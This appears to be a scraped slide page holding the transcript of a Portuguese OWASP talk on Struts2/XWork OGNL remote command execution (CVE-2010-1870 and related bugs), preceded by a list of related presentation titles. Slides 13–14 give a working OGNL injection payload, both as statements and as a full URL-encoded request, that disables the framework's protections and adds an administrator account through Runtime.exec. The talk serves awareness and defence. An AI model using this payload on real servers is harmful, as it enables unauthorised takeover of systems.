Struts2/XWork Remote Command Execution

Slides:



Advertisements
Apresentações semelhantes
Desenvolvimento de Sistemas Distribuídos Web Services
Advertisements

Automatizando o Nmap com NSE
Viver de Internet. Objetivo: Discutir sobre as áreas que oferecem mais oportunidades, as remunerações médias de mercado, quais as competências exigidas.
Segurança na .NET Framework
Iniciando na plataforma Eclipse
Segurança na Web: Uma janela de oportunidades
OWASP FLORIPA DAY 2012 & TOP 10 Gabriella de Bem
Engenharia de Software Alessandro Cruz Marcelo Brandão Theodoro Júnior
RMI-IIOP.
Introdução aos Serviços Web
Engenharia Reversa de Softwares Ruby on Rails
Módulo II Arquitetura em Camadas
Desenvolvimento de Aplicações Distribuídas
DAS Sistemas Distribuídos para Automação Industrial
.NET FRAMEWORK. 2.NET Framework É uma plataforma que permite desenvolver aplicações de software e bibliotecas chamadas aplicações gerenciadas; Ele provê
WebWork e JSP Keven andrade
Estudo comparativo de arquitecturas para aplicações empresariais
Outubro/2008 Engenharia do Computação Sistema de Gestão de Manutenção Desenvolvimento Equipe Antônio Deyvyson Diego Nascimento Paollo Maciel Marcelo Pereira.
Camada de Transporte: Portas, Sockets, Aplicações em Rede
Introdução à Programação Distribuída em Java
Marcos Aurélio Rodrigues
Aplicativos Web Com Orientação a Objetos
Desenvolvendo para a web com Grails
Tecnologias.NET Equipe: Ayrton Johab Rejane Roosevelt Wanessa.
All sections to appear here
DESENVOLVENDO APLICAÇÕES JAVA PARA WEB UTILIZANDO OS FRAMEWORKS STRUTS 2 E HIBERNATE Alexandre Oliveira.
Paradigmas de Programação
Tópicos avançados em internet A Carlos Oberdan Rolim Ciência da Computação Sistemas de Informação.
Configurando DirectAccess em 30min QS31 Rodrigo Immaginario, CISSP MVP:Enterprise Security
Struts Java avançado – PCC Jobson Ronan
Disciplina: Redes de Computadores Professora: Rossana Andrade
Configurando redes sem fio
1 Test Driven Development John Jonathan da Silva /
OpenACS Uma Comunidade Sustentável de Aprendizagem Online Conteúdo editado por "experts"/ Conteúdo adquirido por contribuição voluntária. meios de comunicação/colaboração.
Tirando proveito das ferramentas da Microsoft para desenvolver aplicativos seguros Yuri Diogenes Senior Technical Writer Server and Cloud Division – Information.
Produtividade com SuperCRUD e Software Template
Atlassian Jira 3layer Tecnologia Porto Alegre, RS – Brasil 2010 Fábrica de Software Revenda Sparxsystems Revenda.
Objetos Distribuídos para WEB Prof. Paulo Fernando da Silva FURB – Universidade Regional de Blumenau Pós-Graduação em Desenvolvimento WEB.
Linguagens Web - Cliente
Felipe Ferreri Tonello
 Contexto  Problema  Cenário Atual  Motivação  Arcadea  Público alvo e stakeholders  Cenário Futuro  Matriz de valores  Status report  Tecnologias.
Implementação MVC Pedro Antonino.
Aplicações Web com Orientação a Objetos
Web-Sar Sistema de Supervisão e controle via web.
Aula 1 - Fundamentos Web Servidor
Módulo I Capítulo 1: Introdução ao curso
José Francisco PHP & MySQL. Os slides originais são parte do material de cursos anteriores do curso de PHP, ministrados por Sérgio Clemente.
Security – tools - 1 IES – Fernando Cerutti Nmap (Network Mapper) ( ) Nmap (Network Mapper) ( )
Sistema de Gerenciamento de Competências Alexandre Pitta Guedes Julien Renaut Yugo Watari Supervisor: Valdemar W. Setzer.
Prof.°: João Henrique Disciplina: SOR II
Padrões de Interação com o Usuário
Unidade 1 – Introdução a J2EE Prof.: Henrique Santos
Volume de Dados Volume Removível Volume de Sistema.
Padrões de Interação com o Usuário
Linguagem de programação. Histórico  Concebida em 1993 por Yukihiro Matsumoto  Primeiro livro em inglês saiu em setembro de 2000  Ruby on Rails é lançado.
1 Reestruturação das Linguagens da Disciplina “Paradigmas de Linguagens de Programação” para Java 1.5 Alunos: Angelo Ribeiro (arnpr) Eduardo Tavares (eagt)
Framework MVC Francisco do Nascimento PSC - Programação de Softwares Corporativos UNIBRATEC, novembro de 2008.
JavaServer Faces Rapid Web Application Development em Java Ricardo Cavalcanti Jobson Ronan
Migrando uma aplicação para Windows Azure COS305 Rogerio Cordeiro Developer Evangelist Microsoft Brasil.
MVVM avançado para o Windows Phone 7 WPH304
WINDOWS SMALL BUSINESS SERVER 2011 VISÃO GERAL. Agenda Visão Geral SBS 2011 Versões do SBS 2011 O que há de novo – Essentials O que há de novo – Standard.
ZEND Framework Alexsander Muraro.
Aula 1 - Fundamentos Web Servidor Instituto Metodista Izabela Hendrix Curso de Tecnologia em Análise e Desenvolvimento de Sistemas Prof. Gilmar Medeiros.
Trabalho Teórico Sistemas Distribuídos e Tolerância a Falhas
UCSal – Tecnologia em Análise e Desenvolvimento de Sistemas Programação para Aplicações WEB Profa. Semíramis Assis
Estágio Supervisionado II Estágio Supervisionado II.
Primeiros Passos no ASP.NET 5 Renato Haddad May 14, 2015 May 14 – 15, Microsoft MVP Virtual Conferenc e.
Arleys Pereira Nunes de Castro - Mestrando : Modelagem computacional (SENAI-MCTI) Especialista : Sistema distribuídos
Web Services / SOA. O cenário de TI nas corporações Novas tendências batiam à porta das corporações Migraram o foco do “gerenciamento de dados” para o.
Transcrição da apresentação:

Struts2/XWork Remote Command Execution Tiago Natel de Moura natel@owasp.org 1 1

Sobre mim Pesquisador e co-fundador do grupo BugSec Team. bugsec.googlecode.com Consultor de Segurança na SEC+. www.secplus.com.br Co-Fundador e Lider do Capítulo da OWASP de Florianópolis. Desenvolvedor de algumas ferramentas de segurança: http://github.com/tiago4orion 2 2

Experiências/Interesses Linguagens: C, C++, Assembly, Lisp Segurança: Desenvolvimento de Exploits; Buffer overflows (Stack/Heap Overrun); Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/HTTP, etc) Análise de Malwares; Web Application Vulnerabilities (SQLI, XSS, CSRF, LFD/RFI, etc) Metodologias de segurança; 3

Sobre essa palestra Falar sobre uma falha crítica no framework Struts que permite ao atacante executar comandos no servidor. Concientizar os desenvolvedores sobre a importância da segurança na escolha das tecnologias utilizadas no projeto. 4 4

A verdade sobre os frameworks Eles também possuem falhas de segurança ... Todos eles... Java – Struts, Hibernate, Spring Microsoft .Net Ruby – Rails, Merb, Ramaze Python – Django, Twisted, web.py PHP – Zend, Symfony, Cake Você audita o código do seu framework? 5 5

Um pouco sobre Struts e OGNL Struts2 é basicamente um framework para desenvolver aplicações web em Java utilizando a arquitetura de Model-View- Controller (MVC) Object-Graph Navigation Language (OGNL) é uma linguagem para acessar e setar propriedades de objetos Java. Struts2 trata os parametros HTTP como expressões OGNL. 6 6

CVE-2010-1870 – Struts2/XWork Remote Code Execution The OGNL extensive expression evaluation capability in XWork in Struts 2.0.0 through 2.1.8.1, as used in Atlassian Fisheye, Crucible, and possibly other products, uses a permissive whitelist, which allows remote attackers to modify server-side context objects and bypass the "#" protection mechanism in ParameterInterceptors via the (1) #context, (2) #_memberAccess, (3) #root, (4) #this, (5) #_typeResolver, (6) #_classResolver, (7) #_traceEvaluations, (8) #_lastEvaluation, (9) #_keepLastEvaluation, and possibly other OGNL context variables, a different vulnerability than CVE- 2008-6504. 7

CVE-2011-3923 - Apache Struts 'ParameterInterceptor' Class OGNL Security Bypass Apache Struts is prone to a security-bypass vulnerability because it fails to adequately handle user-supplied input. This issue is related to the vulnerability documented in BID 32101(XWork 'ParameterInterceptor' Class OGNL Security Bypass Vulnerability). Apache Struts versions 2.0.0 through 2.3.1.1 are vulnerable. 8

Múltiplas Vulnerabilidades... Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator) Remote command execution in Struts <= 2.3.1 (CookieInterceptor) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor) 9

Um exemplo de OGNL http://server/your/web/app?page['language']=en action.getPage().setLanguage("en") 10 10

Como Struts2 e OGNL conduzem para uma execução remota de código OGNL existe para referenciar variáveis usando o prefixo '#'. Adicionalmente, existem contextos pré- definidos como #session, #context... 11 11

Como Struts2 e OGNL conduzem para uma execução remota de código 1. Descubriu-se que o módulo ParametersInterceptor o qual realiza a transformação das variáveis do GET para Java não escapa '#' de maneira apropriada quando ele é enviado como uma string unicode '\u0023'. 2. Existem duas chaves de contextos importantes: #context – OgnlContext – Este possui a propriedade chamada 'xwork.MethodAccessor.denyMethodExecution' o qual nega a execução de um método. #_memberAccess - SecurityMemberAccess, contém um campo chamado 'allowStaticAccess' o qual previne a execução de métodos estáticos. 12 12

Como Struts2 e OGNL conduzem para uma execução remota de código É fácil ver aonde isso vai acabar ... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('net user /add newadmin HACKED') 13 13

Como Struts2 e OGNL conduzem para uma execução remota de código É facil ver aonde isso vai acabar... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('net user /add newadmin HACKED') http://vulnerable_host/login.action? ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true& (aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo') (\u0023foo\u003dnew%20java.lang.Boolean("false")))& (asdf)(('\u0023rt.exec(“net%20user%20/add%20newadmin%20HACKED”)') (\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 14 14

Como escolher a tecnologia a ser usada no projeto? Consulte a comunidade de segurança! 15

The End E-mail: natel <at> owasp.org github: github.com/tiago4orion 16 16